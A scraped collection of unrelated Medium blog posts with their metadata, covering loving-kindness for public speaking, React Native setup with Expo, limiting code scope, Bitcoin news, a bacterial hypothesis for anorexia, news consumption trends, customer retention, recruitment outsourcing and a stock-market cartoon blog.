myself. I think: “May I be happy and content. May I feel safe and have steadiness of mind. May I avoid suffering and find joy in this life.” I think: “May I be happy and content. May I feel safe and have steadiness of mind. May I avoid suffering and find joy in this life.” Finally, I spend a few seconds collecting the energy of loving-kindness from the group I’m presenting to. I know that when I go to a meeting, presentation, or speaking engagement, I’m rooting for the speaker to do an excellent job and feel good about the experience. I assume at least some of the people in the group I’m presenting to also wish me well in the same way, so I imagine them directing that encouragement at me. I imagine them thinking “You’re going to do great! I can’t wait to hear what you have to say. I’ll be rooting for you.” All of this can take no more than a minute, if that’s all you have. The experience of generating positive goodwill toward the audience and imagining receiving it from myself and the audience encourages me to be more present, to empathize with the audience’s perspective, and not focus on myself as the center of attention. This powerful technique has deeply improved both my enjoyment of presenting to a group, as well as my performance. Although this technique has never been tested scientifically, I don’t believe you need to practice formal loving-kindness meditation regularly to get some benefit from these public speaking techniques. However, regular loving-kindness practice does make it much easier to slip into that mindset when you are feeling anxious in front of an audience, and regular practice undoubtedly has many additional longer-lasting benefits. Further Reading Shahar, Ben & Szepsenwol, Ohad & Zilcha-Mano, Sigal & Haim, Netalee & Zamir, Orly & Levi‐Yeshuvi, Simi & Levit-Binnun, Nava. (2014). A Wait-List Randomized Controlled Trial of Loving-Kindness Meditation Programme for Self-Criticism. Clinical Psychology & Psychotherapy. 22. 10.1002/cpp.1893. Fredrickson, B. et al. “Open hearts build lives: positive emotions, induced through loving-kindness meditation, build consequential personal resources.” Journal of personality and social psychology 95 5 (2008): 1045–1062. Hofmann SG, Grossman P, Hinton DE. Loving-kindness and compassion meditation: potential for psychological interventions. Clin Psychol Rev. 2011;31(7):1126–1132. doi:10.1016/j.cpr.2011.07.003 Hutcherson CA, Seppala EM, Gross JJ. Loving-kindness meditation increases social connectedness. Emotion. 2008;8(5):720–724. doi:10.1037/a0013237 Law, Wing. (2011). An Analogue Study of Loving-Kindness Meditation as a Buffer against Social Stress. Dissertation Abstracts International: Section B: The Sciences and Engineering. 72.

https://blog.usejournal.com/taking-the-fear-out-of-presentations-12517a061f1c

['Robin G Murphy']

2020-09-27 03:40:40.983000+00:00

['Loving Kindness', 'Public Speaking', 'Meetings', 'Meditation', 'Presentations']

Getting Started with React Native on MacOS

Photo by Firmbee.com on Unsplash What is React Native? React Native is a mobile development framework written in JavaScript. It uses React.js which is a JavaScript library for building user interfaces. It also has its own special components that know how to communicate with the native device’s platform so you can build a user interface. Mobile devices don’t use HTML tags so React Native gives us those components that can render our user interface. It gives us access to the device’s API like the device’s camera, and more. It gives us everything we need to create a real mobile app that we could have in the IOS and Andriod app stores. All you need is basic knowledge of JavaScript and React.js and a computer you enjoy coding on. Expo Expo is one of the two ways you can create a React Native App, the other being React Native CLI. Expo is a free third-party service that gives you a managed app development platform. It takes away some of the complexities of developing the app and is more convenient. It gives you wrappers for common device features you need like the camera or a map. Though you are limited by the Expo Ecosystem, it removes some of the control you would have if you built a raw React Native CLI. I’d recommend Expo for people getting started. If you ever feel like you need more control you can always switch to React Native CLI. Getting Started Download NodeJS Check if you already have NodeJS downloaded by entering node -v on your terminal. If not, go to nodejs.org and download the latest version and walk through the installation process. Get the Command Line Tool Enter npm install expo-cli --global on your terminal which will install the Expo CLI tool that will help you create and manage your React Native projects globally on your computer. Create your Expo Project In the folder or directory you want your project to be in, run: expo init <enter your project name here> You will be asked what kind of template you want to use, choose “blank” Choose if you want to download dependencies with Yarn or NPM (doesn’t matter much but I used Yarn) Starting up your project cd into your React Native project folder open it on your favorite IDE (ahem VScode) and on the terminal, run: expo start As long as your working on your project, make sure to leave this command line running. This will open up a new tab or window with the Expo Development Tools. It’s a window that allows you to run your app on different devices or simulators and manage part of your app where you can see warnings. Running your App on your Device Download the Expo app on your personal device. (If using an iPhone) Navigate to the Expo Development Tools tab or window that just opened up and scan the QR code shown using your phone’s camera. This will prompt you to open the Expo app. Without even signing up this will take your app and compile it onto your Expo app so you can interact with it. React Native Project Folder We’ll ignore everything right now and only focus on the App.js file. The code looks quite similar to the code we see when you use React to create our web application. We still use Class and Function components, and we still have React imported. The difference is that we’re also importing things from the react-native library which gives us special components that are compiled to the native platform’s widgets. Remember, mobile applications don’t recognize HTML. React Native does not use CSS for styling, it uses JavaScript with CSS-like property names from the react-native library. Check out React Native’s core components here! Running your App on a Simulator I recommend using a device simulator during the development process. You can also use your own personal device to see it run on a real mobile device but in my opinion, using a simulator makes things easier because everything is on my computer screen AND I can test my app on different mobile devices.

https://medium.com/@ajakcyer97/getting-started-with-react-native-on-macos-2c15321e35e2

['Ajak Cyer']

2021-04-13 01:15:03.523000+00:00

['Mobile App Development', 'Flatiron School', 'React Native']

7 Ways to Limit Scope in Your Code

7 Ways to Limit Scope in Your Code Easy methods you can adopt to keep your code clean, concise, and testable Photo by Ludovic Charlet on Unsplash. As a general rule, developers should limit the scope of variables and references as much as possible. Limiting scope in every way possible, from the big things (never, ever use global variables) to the subtle little things a language can do (declare const whenever possible), can contribute to clean, easy-to-test code. The limiting of scope has all kinds of benefits. First, limiting the scope of a variable reduces the number of places where a given variable can be modified. The reason we rightfully abhor global variables is there is no telling where or when a global variable might be changed. A global variable hangs out there like that last donut in the break room. You know you shouldn’t touch it, but it’s so tempting and easy just to grab that variable and use it for whatever you need to do. Limiting the scope of a changeable thing reduces the chances that it will be changed in a way that it shouldn’t be — or worse, in a way you don’t even know about. By definition, limiting scope is also a main feature of object-oriented programming. Encapsulation is probably the first thing you think of when you think of OOP, and its basic purpose — its whole reason for existing — is to formalize the process of limiting scope. They don’t call it “information hiding” for nothing. The term “information hiding” really means “Hide the scope of your variables so much that they can’t be changed except in the exact way you let them be.” Encapsulation enables you to ensure that data you don’t want to be exposed isn’t exposed. And if it isn’t exposed, it can’t be changed. Limiting scope also limits the ability for people to depend on code that they shouldn’t be depending on. Loose coupling — the limiting of the dependencies within a system — is a good thing. Tight coupling is a bad thing. Limiting scope makes it harder for one class to latch on to another class and create dependencies that make code hard to test and difficult to maintain. It also makes it harder for changes in one area of code to have secondary effects in other, coupled areas. There is nothing worse than changing code in (metaphorically speaking) New York City and having that change cause a bug in code all the way over in Los Angeles. This is commonly called “Action at a distance” and is something that should be avoided like a bad burrito.

https://medium.com/better-programming/7-ways-to-limit-scope-in-your-code-e3052cdb91a4

['Nick Hodges']

2020-06-17 15:10:07.308000+00:00

['Software Development', 'Startup', 'Mobile', 'Software Engineering', 'Programming']

Goldman Sachs CEO Lloyd Blankfein Says Bitcoin Not for Him But Has Future

Goldman Sachs says not to rule out cryptocurrencies Goldman Sachs’ Chairman and CEO Lloyd Blankfein said this Tuesday that although Bitcoin “is not for him” he could see a future where cryptocurrencies could work as fiat currencies do, adding that dismissing cryptocurrencies simply due to their unfamiliarity would be “arrogant”. Blankfein made these remarks during an interview with Bloomberg’s Editor-in-Chief John Micklethwait held at the Economic Club of New York. Blankfein is the latest of a group of high profile personalities who have recently expressed views reflecting that cryptocurrencies could become mainstream in the not-so-distant future, alongside Twitter’s Jack Dorsey, and legendary Apple co-founder Steve Wozniak. If you could go through that fiat currency where they say this is worth what it’s worth because I, the government, says it is, why couldn’t you have a consensus currency? / Lloyd Blankfein Although Blankfein added that, as far as he knows, “Goldman Sachs has no Bitcoins”, the company has been heavily investing in cryptocurrencies and blockchain related projects. A few weeks ago, as reported on Bitrates, the Goldman Sachs Group is planning on launching its own Bitcoin and Bitcoin futures trading operation, after concluding Bitcoin “was not a fraud”. Just a few days ago, Goldman Sachs’ subsidiary Circle Invest announced that they will start issuing their own “Circle US Dollar Coin” (USDC) which value would be pegged in a 1:1 ratio to the US$ with the intention of making everyday cryptocurrency transactions available to the general public. This news came weeks after reports that Circle Invest would start listing ZCash in their Circle platform. Being one of the world’s largest investment banks with assets nearing $1 trillion, Goldman Sachs’ involvement in the cryptosphere will definitely move things towards a future where cryptocurrencies dominate value exchange systems worldwide.

https://medium.com/bitrates-news/goldman-sachs-ceo-lloyd-blankfein-says-bitcoin-not-for-him-but-has-future-1252c19a82a3

[]

2018-06-24 07:53:42.227000+00:00

['Blockchain', 'Bitcoin', 'Cryptocurrency', 'Goldman Sachs']

Anorexia Has A Bacterial Origin, Researchers Say

Infection | Brain Anorexia Has A Bacterial Origin, Researchers Say It’s too naive to think anorexia arises from psychosocial factors alone, researchers argue. Image by CoxinhaFotos from Pixabay Sitting at the 3rd most common disease affecting adolescent females, anorexia is characterized by severe calorie restriction — comorbid with anxiety and depression — that lead to the starvation and malfunctioning of many other organs. Anorexia is titled the most fatal mental illness. Anorexia Etiology Revisited “Psychological factors might be important but are unconvincing as the primary or major cause [of anorexia],” James Morris and colleague from Lancaster University, UK, wrote in Medical Hypothesis in 2016. Anorexia is a functional or psychosomatic disease; psycho means mind and somatic means body. It’s a mind-body disease caused by a combination of psychological and physical factors. Modern views of anorexia, however, neglect the physical cause of the disease, as Morris and team argued: There might, for instance, be an increased incidence of physical and sexual abuse in childhood in those who go on to manifest functional disorders. It is easy to see how this could influence symptoms in adults but it stretches credulity to imagine abuse as the sole and sufficient cause of the functional disorder. Equally modern concepts of the perfect physical form promoted by the fashion industry will influence teenagers to diet but surely there must be something more profound and fundamental to induce emaciation and death by starvation or suicide. Basically, Morris et al. question the idea of psychosocial factors being the sole cause of anorexia. It’s too simplistic and crédule, they thought. It doesn’t explain why a subset of adolescents do not develop anorexia when they have been exposed to similar childhood and cultural experiences. Many will quickly attribute this to differences in genetics, social support or individual’s innate resilience. While these may also contribute to the overall likelihood of developing anorexia, Morris et al. asked: What if bacteria also play a role? When Bacteria-Fighting Antibodies Attack the Brain Morris et al. first observed that anorexia nervosa is 10x more prevalent in females than males, and so are autoimmune diseases. They then cited several studies that found the presence of autoantibodies — that attack the serotonin neurons and appetite-regulating hormones/peptides— roaming in the blood and hypothalamus of anorexics. The levels of these autoantibodies also correlated with the severity of the eating disorder. The hypothalamus is a brain region that controls human's basic needs such as sleep, body temperature, thirst, and appetite. It’s also part of the limbic system — also called the reptilian brain — which is an ancient set of structures in the brain that governs instincts and emotions. Where did these auto-antibodies come from? The studies that discovered them raised the possibility of bacterial infection(s). Upon encountering foreign entities, the immune system makes antibodies that bind to the bacteria surface — to neutralize or marked it for destruction by other immune cells. If the bacterium shares a similar structure to some of the host’s proteins — a phenomenon called molecular mimicry — the antibodies will target both the bacteria and the host own proteins. The fact that these antibodies — now autoantibodies — are considered as allies makes things worse. The blood-brain-barrier, for example, doesn’t see it as a threat — enabling these autoantibodies to easily enter the brain’s limbic system. “Auto-antibodies acting on the [brain’s] limbic system could induce extremes of emotion including disgust and fear,” Morris et al. wrote. “These then become linked, in the minds of adolescent girls, to culturally determined ideas of what is, and what is not, the ideal body shape and size. It is then a small step for disgust and fear to be directed to food and obesity which the fashion industry currently demonises.” Linking to Gut Dysbiosis While Morris et al. have not pinpointed a specific bacterial agent, current scientific evidence suggests that it could be gut bacteria. Sergueï Fetissov, MD and Professor of Physiology, and colleagues from Rouen University and Hospital in France published a pioneer finding in this regard — which Morris et al. cited in his Medical Hypothesis paper. Fetissov and team found that autoantibodies — attacking appetite-regulating peptides — in the bloodstream of anorexics have substantial sequence similarities to few known gut microbes and external pathogens. Proteins having a similar string of amino acid sequence likely have similar structures. And similar structures indicate a higher chance of getting bound by the same antibody due to molecular mimicry. “Numerous cases of sequence homology with these [appetite-regulating] peptides were identified among commensal and pathogenic micro-organisms including Lactobacilli, Bacteroides, Helicobacter pylori, Escherichia coli, and Candida species,” the authors wrote. These are just some examples as they have also discovered 20 other such microbes that have similar protein sequences as the human appetite-regulating peptides. The team further showed that mice without a gut microbiome have lower levels of such autoantibodies than normal mice. “Our data demonstrate multiple cases of molecular mimicry of regulatory peptides with microbial proteins, identifying micro-organisms as putative biological targets to be tested for their relevance to the normal or pathophysiologic mechanisms of appetite and emotion,” Fetissov et al. continued. Linking to the Gut-Brain Axis A 2019 review — written by Jochen Seitz, MD, and coordinator of eating disorders research at University Aachen and colleagues from Germany — took a more holistic approach to the bacterial implications of anorexia. They look at the gut-brain axis and its associated immunology as a whole. They look at it as intricate biological machinery or systems that interact with one another (see figure below). While providing evidence supporting that bacterial infection may confuse the immune system to make antibodies attacking the brain’s appetite-regulatory signals, they added more recent evidence on the gut microbiome profile of anorexics. Compared to non-anorexics, their gut showed a reduced microbial diversity and abnormal outgrowth of certain microbes. “These digestive products of [microbial] protein fermentation [in anorexics] were previously found to increase PYY-production, a gastric peptide known to decrease appetite and increase depressive symptoms,” the German researchers wrote. Image credit: Open-access publication. Caption: Gut microbiome interactions in patients with AN. Citation: Seitz et al. (2019). The Impact of Starvation on the Microbiome and Gut-Brain Interaction in Anorexia Nervosa. Frontiers in Endocrinology, 10(41). doi: 10.3389/fendo.2019.00041 To Wrap It Up A gut dysbiosis or dysregulated gut-brain axis leads to systemic inflammation, autoantibodies, and harmful microbial metabolites — all of which negatively affect the brain’s appetite signals. This may trigger — or at least contribute to — the downward spiral leading to anorexia, in addition to genetic and psychosocial factors. To this end, Seitz et al. (2019) proposed for gut microbiome interventions in addition to traditional therapy for anorexia. “The goals could be to increase the amount of energy harvested from the same quantity of food and to decrease gut permeability, inflammation and antibody formation, with the potential consequence of reducing depressive and anxious symptoms,” Seitz and colleagues emphasized. Likewise, Andrew Radford, the Chief Executive of Beat, an eating disorder charity told The Telegraph:

https://medium.com/microbial-instincts/bacterial-origin-of-anorexia-a-2016-medical-theory-7dd167e92b5

['Shin Jie Yong']

2020-04-21 00:02:37.531000+00:00

['Innovation', 'Mental Health', 'Health', 'Psychology', 'Science']

5 global news consumption trends in charts

For anyone interested in understanding the attitudes and habits of news audiences, the annual Digital News Report from the Reuters Institute for the Study of Journalism at Oxford University is a must-read. This year’s study, of course, plays out against the backdrop of the coronavirus crisis, a development that the report says is “almost certain to be a catalyst for more cost-cutting, consolidation, and even faster changes in business models.” Nonetheless, despite the uncertainty that COVID-19 has produced, many of the trends shared in the report pre-date the pandemic. And their repercussions will continue to be felt when we come out on the other side, too. As a result, these trends are too big for journalists and news outlets to ignore. Here are five essential trends — based on a survey of more than 80,000 digital news consumers in 40 markets — that you need to know. (1) Norway is the global leader for digital news payments Data captured in January 2020 shows that more people are paying for online news, and Norway is the poster-child. More than four out of every 10 (42%) respondents in the country paid for online news at some point in the past year. Other markets, including parts of Europe, Latin America, Asia and the United States have also seen an increase in this space. At the same time, as the report authors remind us, “It is important to note that across all countries most people are still not paying for online news, even if some publishers have since reported a ‘coronavirus bump.’” Q7a. Have you paid for ONLINE news content, or accessed a paid for ONLINE news service in the last year? Base: Total sample in each market = 2000. (2) Trust in the news media is lowest in France and South Korea “As the coronavirus hit, we observed overall levels of trust in the news at their lowest point since we started to track these data,” says the report. Globally, fewer than four in 10 (38%) news consumers said they trust “most news [providers] most of the time.” The figure is slightly higher when asking about specific news channels that consumers themselves use- rather than the wider news ecosystem. Nevertheless, less than half (46%) of digital news consumers said they trust the news they use themselves. Although trust in search (32%) and social media (22%) is even lower, this conclusion should give journalists and news producers pause for thought. Only six countries — Finland (56%), Portugal (56%), Turkey (55), Netherlands (52%), Brazil (51%) and Kenya (50%) — enjoy trust levels above 50%. Trust levels are lowest in Taiwan (24%), France (23%) and South Korea (21%). (3) Social media is the leading source of concern for misinformation Even though trust levels in news media are low (especially given the fact that survey respondents are news consumers, rather than the general public), the study found users are much more concerned about social networks being sources of misinformation than they are about news outlets. Across the sample, 40% expressed concern about false or misleading information being found on social media, versus 20% expressing concern for news sites and apps. Reflecting different news media habits around the world, across all countries Facebook (29%), followed by YouTube (6%) and Twitter (5%), were the leading sources of concern for false or misleading information. However, in countries such as Brazil, Chile, Mexico, Malaysia and Singapore, where the adoption of WhatsApp tends to be higher, the messaging service led the way in levels of concern. As the study reminds us, “This is a particular worry because false information tends to be less visible and can be harder to counter in these private and encrypted networks.” Which of the following, if any, are you most concerned about online? Please select one. False or misleading information from…Base: Total sample in each market = 2000; Taiwan = 1027. (4) YouTube, WhatsApp and Instagram are the fastest growing social news sources Across the more than 80,000 sample of digital news consumers across the globe, Facebook (63%) and YouTube (61%) remain the most used social networks on a weekly basis, with WhatsApp (33%) in third place. Twitter (23%) ranks sixth, behind Facebook Messenger (28%) and Instagram (36%). The data is a useful reminder that journalists’ social media habits do not necessarily mirror those of the wider population. This sentiment is even more applicable when examining how consumers use social networks for news. Across 12 major markets, Facebook takes the lead (36%) but YouTube (21%) is in second place, five percentage points ahead of WhatsApp. This suggests, perhaps, that some news organizations need to make the video channel a greater priority in the distribution of their work. The “Stories” format may be a further driver for the use of social networks like Instagram for news. In Brazil, Instagram is already considerably more popular (30%) for news than Twitter (17%). Chile (28%) also has a high adoption of Instagram for news. Q: Which, if any, of the following have you used for any purpose in the last week? Please select all that apply. Base: ‘Main’ 12 market average: UK, USA, Germany, France, Spain, Italy, Ireland, Denmark, Finland, Australia, Brazil & Japan (10 market average for 2014 exl Australia & Ireland) (5) Few consumers come to a news brand directly News brands, and the journalists who work for them, need to continue to deploy a range of tactics to get their content in front of audiences. This is particularly true for younger audiences. Reuters’ sample revealed that just 16% of Gen Z news consumers said going directly to a news brand was their primary way of accessing online news. Instead, other channels such as social media and search were more popular. Collectively, push notifications, mobile alerts, aggregators and email also accounted for how more than one in five (21%) young consumers find the news. With 72% of all news consumers saying they discover news via means other than a specific news website or app, this reiterates the importance of distributing your content across a variety of different channels, as audiences increasingly become brand agnostic. The 2020 Digital News Report comes at a precipitous time for journalists and the news industry. We know that COVID-19 is having a huge impact on business models, the practice of journalism, and our wider media habits. However, if anything, the coronavirus makes it even more important that changing news habits — including “changes in how people access news, low trust, and rising concern[s] about misinformation” — are addressed. Understanding audience behaviors and habits, on a market-by-market basis, is more important than ever. Click here to find out more.

https://medium.com/damian-radcliffe/5-global-news-consumption-trends-in-charts-1800a96920b9

['Damian Radcliffe']

2020-12-28 07:16:00.173000+00:00

['Trends', 'Journalism', 'Digital News Report', 'Digital Transformation', 'Media Criticism']

What Power Requires

What Power Requires A breakdown of the power process I came across a quote recently that stopped me in my tracks. “Power requires neither permission nor forgiveness.” It’s from Ancillary Justice by Ann Leckie. I’m a sucker for a good “neither/nor” statement and it doesn’t hurt that it was paired with a rather NSFW Instagram post by a woman who makes the kind of racy, intellectual posts I’m partial to. It first occurred to me to be a comment on raw, intrinsic power, an unapologetic claim of one’s place in the world. It was a reminder I didn’t know I needed. It surprised me, even in the couple weeks since the quote appeared in my life, how often I caught myself putting energy into getting people’s approval and sign off for things that frankly did not call for it. Apologizing for having my own legitimate feelings. Not only does power not require permission nor forgiveness, it can get lost completely as we prioritize these things instead of maximizing the impact we are seeking to make in the first place. We just give it away. This meaning alone has made the quote a bit of an anthem for me over the past couple weeks. But gradually, unprovoked, it revealed a profound and somehow gentler interpretation. In a world where we only have authority over our own choices and mindset, acquiring permission or forgiveness are two things we actually cannot control. It doesn’t mean we shouldn’t be accountable to others and only do what we feel like doing. But power does not require the permission of others. If we seek it, we ought to be clear why we’re doing it and make sure it’s not a form of hiding or procrastination. And it doesn’t mean we can’t own up to missteps or hurtful things we’ve done. We can and we absolutely should. But it’s actually up to another person whether to grant that marvel of forgiveness. Showing remorse to compel forgiveness is manipulative. Remorse and forgiveness are separate actions taken by separate people and we shouldn’t conflate the two. I think a big reason why we seek permission and forgiveness is fear — we want to eliminate the risk of failure from our lives and ensure our community won’t reject us. These are real possibilities, of course, but also surmountable. I’ve found that the people who are likely to withhold permission or forgiveness are people I probably shouldn’t entrust with my deepest confidences anyway. They’re too scared to feel safe with me. I wish happiness for them and appreciate that they’re doing their best, but I‘m not required to make my moves based on their opinions. The good news is that there’s a genre of human who views failure very differently. And the better news is that they will become your new community. I’m talking about the fantastic weirdos who dare to enter the arena. In their mind, the only real failure is not even trying. We labor to come up with our ideas and work up the courage to go public with them. Getting mired in the unending task of getting everyone’s ‘go ahead’ would keep us from doing anything at all. And what kind of life is that? These people may not always like what you do, but they will respect it because they know what it feels like to claim power in the absence of permission or forgiveness. They know what it feels like to stand seemingly alone with a controversial idea while the critics wail on about this oversight or that risk. Their empathy runs far deeper than the critics’ objections. Their support is the only thing you should seek, if you seek anything at all. What if we lived in a world where we demanded initiative instead of permission? And took accountability for slip-ups in order to be more aligned with our values vs. needing those we’ve hurt to take care of us through their forgiveness? What if we stopped trying to control others by demanding they wait for our permission to swallow their fear and entered the arena? What if we reclaimed our power and encouraged others to do the same? Ann Leckie’s gripping quote reminds me that some of our most foundational beliefs and processes are worth reassessing. If I can reframe power in a way that gives me more agency and momentum, what else becomes possible? And if this went unnoticed for 30-something years, where else am I limiting my potential? I’m entering the arena, with or without your approval. Hope to see you there.

https://jemmajorel.medium.com/what-power-requires-c544c4b118b2

['Jemma Jorel']

2019-03-20 19:07:27.199000+00:00

['Empowerment', 'Inspiration', 'Forgiveness', 'Power', 'Permission']

How To Increase Your Business Profit With Effective Customer Retention Strategy

Customer retention is the key aspect of a successful business. According to research, increasing retention rates by only 5% increases a company’s profits by 25–95%. Cost of acquiring new clients is always higher than retaining an existing client. Small business usually considers spending less when they first interact with new brands. Later on, they spend more with companies they’ve already done business with. Also, they will refer to others. It also found that most businesses need to retain clients for at least 12 to 18 months to break even on their investment. Why You Should Focus On Retention Rate Affordability: It is more expensive to acquire a new client than to retain the old one. ROI: An increase in retention rate can increase your company’s profit by 25–95% Loyalty: Retained clients buy more often and refer their friends and family as they know the value of your service or products. So a business needs to focus on retention strategy. Keep Your Customer Happy You should understand that everyone is busy in this busy world. You should value your customer time and value them. Always make sure your client feel important, listen to them carefully and understand their needs. Make sure to keep your promises to your customers and thank them whenever possible. 91% of unhappy customers will never buy from you again. So it is your responsibility to keep them happy to increase your retention rate. Conduct An Effective Exit Interview An exit interview is one of the powerful ways to understand why your customer leaves to improve and prevent your future consumer from leaving your service. It is a known fact that 90% of consumers use online reviews before visiting a business and 88% of consumers trust online reviews as much as a personal recommendation. There is an endless reason why your client leaves you. Some of them are 1. They found your competitors that better matches their needs 2. Their business has a financial problem 3. Your service charge is too expensive. 4. Lack of customer service. Here are some of the sample question to ask in a client exit interview : 1. Why did you initially signup our product or service? 2. What did you like about our service or products? 3. Did we meet your expectation? 4. What could we have done differently? 5. What would it take for you to reconsider our services? Take your first step to improve your services or product by collecting client feedback. By taking the necessary steps to improvise your services you can increase your retention rate. Stay In Touch With Your Customer It is important to stay in touch with them to build a strong and long-lasting relationship. Get involved in their blog and social media post. Plan to do a regular newsletter to your existing client to stay connected. Surprise Your Customer Scientists say that surprise is good for the brain. Surprise your existing client on their birthday and special occasion that build a strong relationship. Know Your Customer Expectation The first step in exceeding your client’s expectations to know those expectations. Yes, you should understand their expectation to deliver it. To understand their expectations you should communicate regularly. Regular communication increase trust which increases retention rate. Train Them With Educational Emails Email marketing is a great tool that converts prospect. It is important to educate your prospect and tell them about a unique selling point. Nurture your existing client with a loyalty program. Use personal experience to feel that they are part of your business. Address Customer’s Complaints On Time In this busy world, business is busy to chase new leads, but it is equally important to listen to their complaint and solve it fast. Client’s reviews, testimonials and star rating are important factors that you should integrate into retention rate. Why client reviews, testimonials and star ratings are essential for every brand : 1. Reviews make you more visible 2. Social proof drive more business 3. They influence your client’s decision making and many more. Make sure to make your consumer realize that you care for them and show them that you will better your services. Your client doesn’t care how much you know until they know how much you care. Yes, none of this retention strategy will give you an overnight result. But you should be patient and consistent to get the result.

https://medium.com/@pavivasa/how-to-increase-your-business-profit-with-effective-customer-retention-strategy-61ee926b887a

['Pavi Vasa']

2020-12-15 07:42:03.909000+00:00

['Customer Experience', 'Customer', 'Customer Engagement', 'Customer Success', 'Customer Service']

Change the Way You Hire — Use Recruitment Support Service

“Recruitment Support” is when a 3rd party company handles all or part of the recruitment process of an organization. A Recruitment Support provider acts as an extension of a company’s HR or Resourcing function. Recruitment Support is not a new concept but for many businesses, it can be as they probably don’t know that there are better options available to improve their recruiting process, while others may stick with traditional solutions because that’s the way it has always been done. However, if you’re serious about changing the struggle you go through to find the perfect match for your company and really want to know what recruitment support could do for your organization, then here’s how it can help you. Reduce Overall Recruitment Cost- It’s no secret, every organization looks for cost reduction wherever it can to boost profit margins. That’s why one of the top reasons why organizations choose Recruitment Support is because it reduces your overall recruitment cost by a significant 30%. Companies spend a lot of money on headhunters and job portals along with spending costs on keeping an in-house recruitment team. Sometimes, a lot of them simply waste time in lengthy hiring processes or outdated technologies. A Recruitment Support provider reduces recruitment costs by streamlining your recruiting process which helps you find better candidates with less time and money. Increased / Scalable Recruiting Capacity Many organizations, depending upon the nature of the business, hire contract or seasonal employees for a particular time period to handle increased demands. If that’s you, then an awesome benefit of Recruitment Support is having a process in place that can scale up for this peak season, and then scale back down once the requirement is complete. Recruitment Support is also great for companies that are growing rapidly, that may need extra help in scaling their recruiting capacity to meet growth. Consistent and Predictable Recruit-to-Hire Process- If you’re a candidate, you won’t like it if you don’t know where you stand in the recruiting process, or if you don’t know what’s happening or what are the next steps in the recruitment process. If you’re a company that has multiple entities or multiple departments, where each one has its own hiring process, this problem becomes even bigger. RECRUITMENT SUPPORT can help get everything together and make the recruit-to-hire process consistent and predictable for both parties and across the entire organization. This makes it easier for a candidate to know about all current activities and what everyone is doing before hiring someone. Increased Candidate Quality- If you’ve been in recruitment for some time, you know that a good candidate is not just a combination of experience and education, but also includes behavior, personality, and previous accomplishments. Hiring managers who are working on a very strict timeline to fill a position, or have a lot of profiles to go through, may sometime not give full attention to look at the qualities that determine whether or not the new hire is the right profile and will stay longer with the position. A RECRUITMENT SUPPORT solution screens through those qualities very thoroughly while still looking for candidates who have the needed experience and education. Increased Satisfaction for Recruitment Managers- The increased Satisfaction for Recruitment Managers comes from many aspects of RECRUITMENT SUPPORT. People responsible for recruitment now have better ways to assess the success of their efforts. They even get more support from executives in the recruiting process. Since the workload is divided, they now can do their jobs better. With the help and partnership of the RECRUITMENT SUPPORT provider, Recruitment managers will be more satisfied with what they are able to accomplish in lesser time and also how candidates are hired and inducted into the company. Enhanced Company Employment Branding- The company’s employment brand is fundamentally the identity of any organization as an employer, and when all other aspects of the recruitment process are in right place and start doing well, the employment brand automatically improves. If the quality of your candidate improves, it also creates a very good impression for other potential candidates for your organization. If your recruitment process is seamless then the candidates who go through that process will always only have good things to say about it and your company as an employer. Overall, RECRUITMENT SUPPORT helps any organization in many more ways than just cutting recruiting costs or filling positions faster. RECRUITMENT SUPPORT most certainly can help a business become a better place to work. Reach us for more inquiries by filling out the contact us form or you can mail us at info@itcubebpo.com

https://medium.com/@itcubebpo/change-the-way-you-hire-use-recruitment-support-service-94b350f60200

['Itcube Bpo']

2020-12-21 08:20:30.394000+00:00

['Recruitment Agencies', 'Recruitment', 'Rpo Services', 'Recruitment Support']

Conversation skills Assessment Tool — ChAT

Open access copy of the measure can be found here: https://www.researchgate.net/publication/343163788_ChAT_measure Rationale for the development of ChAT: To provide a measure of a person’s conversation skills ability and gauge whether they have achieved any personal growth. The authors do not wish to perpetuate an ableist social construct of what is a “good” conversation and they do not suggest that conversation training is necessary specifically for people with communication and/or socialization difficulties. Rather, they hope that the tool will be adopted more broadly to examine conversation skills of both neurotypical and neurodivergent people and hopefully give them a better understanding of how to communicate more effectively with others, and thus make them more aware and accepting of differing conversational styles. Potential audience: The authors envisage that the Tool could be used with children at an early age as an exemplar of the elements of a conversational interaction they would need to pay attention to. ChAT could also be useful for people who are learning English as a foreign language and for people with conversation/communication difficulties. ChAT was developed as part of my Marie Curie project with the ASSISTID programme that was co-funded by RESPECT and the European Commission. Details of that project can be found here:

https://medium.com/@yurgos-politis/conversation-skills-assessment-tool-chat-2e29ae84ec01

['Dr Yurgos Politis']

2021-04-01 02:17:34.357000+00:00

['Conversation Skills', 'Virtual Worlds', 'Soft Skills Training', 'Soft Skills', 'Conversations']

The Unpredictability of the Stock Market in Cartoon Form

A throwback to my financial comedy days In my youthful days of fall 2018, I kept a comedic blog about finance. It appears that after forgetting to renew that account, my posts have disappeared from the internet — and this is probably for the best. I do, however, still have some of the images saved locally. This gives me the opportunity to take you through months of chronicling the stock market in a few fun images. The Premise The stock market is notoriously impossible to predict, so much so that random predictors can occasionally beat professionals (for example, this cat from 2012 or the longstanding Super Bowl Indicator). I also have had a longstanding joke with a close friend who works in finance that I, myself, am one of the accurate random predictors because I have made a few lucky guesses in the past (***SPOILER*** I am not). My friend and I came to an agreement at the start of 2018. In order to know whether or not I can randomly predict what the stock market will do, I would need to track a stock portfolio for a year. If it actually did outperform the stock market, we would be in agreement — I had magical powers. As I began to post my investment —um — “strategy”, I saw a hidden second premise to my blog. Investing a portion of one’s savings in the stock market should not be as intimidating as it can sometimes feel. Adding comedy to the unpredictability of it all can be helpful way to dip your toe in the water of managing investments. I found myself frequently helping friends set up Robinhood accounts so they could play around with trading for free. My Investments One of the conditions of testing my predictions in 2018 was that I should not make investments based on financial news. This led me to mostly invest in familiar companies or companies where my friends worked. I talked about making inferences based on what the “squiggles” had done in the past… I also didn’t take too seriously my requirement to keep track of exactly what my portfolio included….

https://medium.com/swlh/the-unpredictability-of-the-stock-market-68958c898f7a

['Marguerite Siboni']

2020-08-22 18:21:10.042000+00:00

['Stock Market', 'Cartoon', 'Data Science', 'Investing', 'Comedy']

Writing Believable Dialogue

